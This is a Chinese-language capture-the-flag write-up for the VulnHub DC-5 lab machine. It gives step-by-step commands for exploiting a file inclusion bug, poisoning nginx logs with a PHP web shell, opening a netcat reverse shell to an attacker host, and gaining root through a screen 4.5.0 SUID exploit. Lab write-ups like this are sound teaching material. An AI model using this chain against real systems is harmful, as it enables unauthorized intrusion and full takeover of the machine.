一、环境搭建
1、官网下载连接:https://www.vulnhub.com/entry/dc-5,314/
2、下载之后,使用Oracle VM VirtualBox导入靶场环境
3、为了正常练习,将靶场的网卡模式设置为桥接模式,启动即可
二、靶机攻略
1、依照惯例,使用命令:nmap -sP --min-hostgroup 1024 --min-parallelism 1024 10.10.114.0/24,快速探测存活主机,找到靶场ip
2、探测靶场启动的服务,使用命令:nmap -A- -p 10.10.114.216,发现开启了80和111端口,111端口没查到有可以利用的点,还是从80端口寻找突破口
3、访问靶场80端口,在http://10.10.114.216/contact.php页面,发现了交互地方,提交之后,每次刷新,下方时间会变化
4、 猜测,下边月份显示可能是调用文件之后返回数值,所以尝试使用包含,发现成功文件包含
5、通过浏览器插件,知道HTTP使用的中间件有Nginx
6、查询到nginx配置文件路径,包含过来查看
读取nginx配置文件信息,发现nginx日志记录文件路径
在日志中,发现所有的访问记录,都会被记录,没有转码啥的
7、既然所有都明文传输被解析,那就利用这个特性,传入一句话,并让他解析出来
打开Burpsuite,抓包修改file参数,传入一句话file=<?php system($_GET['x']) ?>
在进行包含nginx的错误日志,利用一句话
8、利用一句话,反弹shell
在kali使用nv监听端口,然后一句话传入:nc -e 10.10.114.186 2345,成功接收到shell
使用命令:python -c "import pty;pty.spawn('/bin/bash')",接收交互式shell
9、下一步进行提权,使用命令:find / -user root -perm -4000 -print 2>/dev/null,查找是否有可利用的suid,发现screen-4.5.0
10、利用searchsploit screen 4.5.0找到了利用的文件
查看41154.sh,发现提权方法
11、根据使用说明,创建两个文件libhax.c和rootshell.c,之后使用gcc进行编译
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
12、利用nc的管道,将编译好的文件传输过去
kali攻击机使用命令:nc -nlvp 4567 < libhax.so
靶场使用命令:nc 10.10.114.186 4567 > libhax.so,连接之后kali断开即可
kali攻击机使用命令:nc -nlvp 4567 < rootshell
靶场使用命令:nc 10.10.114.186 4567 > rootshell,连接之后kali再次断开即可
13、根据提权说明,使用方法
首先输入命令:cd /etc
然后输入命令:umask 000
然后输入命令:screen -D -m -L ld.so.preload echo -ne "x0a/tmp/libhax.so"
然后输入命令:screen -ls
最后输入命令:/tmp/rootshell,成功提权
最后在root目录下,得到flag
完